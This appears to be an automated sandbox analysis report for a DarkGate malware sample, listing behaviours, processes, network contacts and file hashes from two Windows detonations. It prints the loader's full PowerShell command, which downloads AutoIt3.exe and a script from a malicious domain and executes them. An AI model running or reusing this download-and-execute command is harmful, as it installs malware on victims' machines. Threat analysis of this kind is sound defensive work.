Analysis Overview
SHA256
81caa473d18ad62f91cf713a1961d134b6943484008f7f07e08c921815475e61
Threat Level: Known bad
The file 03112023_0950_XAC21SDADXCADVASD3.zip was found to be: Known bad.
Malicious Activity Summary
DarkGate
Downloads MZ/PE file
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Enumerates physical storage devices
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-03 01:50
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-03 01:50
Reported
2023-11-03 01:53
Platform
win7-20231023-en
Max time kernel
119s
Max time network
123s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2896 wrote to memory of 2620 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2896 wrote to memory of 2620 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2896 wrote to memory of 2620 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\XAC21SDADXCADVASD3.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"
Network
Files
memory/2620-4-0x000000001B2F0000-0x000000001B5D2000-memory.dmp
memory/2620-5-0x0000000002460000-0x0000000002468000-memory.dmp
memory/2620-6-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
memory/2620-7-0x0000000002990000-0x0000000002A10000-memory.dmp
memory/2620-8-0x0000000002990000-0x0000000002A10000-memory.dmp
memory/2620-9-0x0000000002990000-0x0000000002A10000-memory.dmp
memory/2620-10-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
memory/2620-11-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-03 01:50
Reported
2023-11-03 01:53
Platform
win10v2004-20231020-en
Max time kernel
145s
Max time network
151s
Command Line
Signatures
DarkGate
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350690463-3549324357-1323838019-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\tepp\AutoIt3.exe | N/A |
Enumerates physical storage devices
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\tepp\AutoIt3.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\tepp\AutoIt3.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3812 wrote to memory of 5108 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3812 wrote to memory of 5108 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 5108 wrote to memory of 524 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 5108 wrote to memory of 524 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
| PID 5108 wrote to memory of 524 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\tepp\AutoIt3.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\XAC21SDADXCADVASD3.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://jeraldsin3dsajdklafdmonk.com:2351/msibbdthtgy' -OutFile 'bbdthtgy.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'bbdthtgy.au3'"
C:\tepp\AutoIt3.exe
"C:\tepp\AutoIt3.exe" bbdthtgy.au3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | jeraldsin3dsajdklafdmonk.com | udp |
| US | 8.8.8.8:53 | 2.136.104.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 121.252.72.23.in-addr.arpa | udp |
| US | 195.123.241.144:2351 | jeraldsin3dsajdklafdmonk.com | tcp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 144.241.123.195.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 39.142.81.104.in-addr.arpa | udp |
| US | 195.123.241.144:2351 | jeraldsin3dsajdklafdmonk.com | tcp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.22.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 89.65.42.20.in-addr.arpa | udp |
Files
memory/5108-0-0x000001CF798E0000-0x000001CF79902000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q0tjazqn.zlj.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/5108-10-0x00007FFAC5C20000-0x00007FFAC66E1000-memory.dmp
memory/5108-11-0x000001CF79990000-0x000001CF799A0000-memory.dmp
memory/5108-12-0x000001CF79990000-0x000001CF799A0000-memory.dmp
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
C:\tepp\AutoIt3.exe
| MD5 | c56b5f0201a3b3de53e561fe76912bfd |
| SHA1 | 2a4062e10a5de813f5688221dbeb3f3ff33eb417 |
| SHA256 | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
| SHA512 | 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c |
memory/5108-26-0x00007FFAC5C20000-0x00007FFAC66E1000-memory.dmp
C:\tepp\bbdthtgy.au3
| MD5 | bbb0f7cd40ed7c626e70c58ee40d6dd5 |
| SHA1 | 5f6c932f058693f4cdcd70540981064b683c4d7a |
| SHA256 | 04b46fa60521d98a81f9f0aca164f9a0cc36a6c2d30f326836e188ea2325849e |
| SHA512 | c78a9de93da19287ccb5fc346084c3eb1bff883cd161b7dc7489f6472fc4355080f358fec3f0d2b92d276e449c58d3ab943164f0d5a7f6d5a00cdc784ab11b1b |
memory/524-29-0x0000000002180000-0x0000000002280000-memory.dmp
memory/524-30-0x0000000004230000-0x00000000043C5000-memory.dmp
memory/524-31-0x0000000004230000-0x00000000043C5000-memory.dmp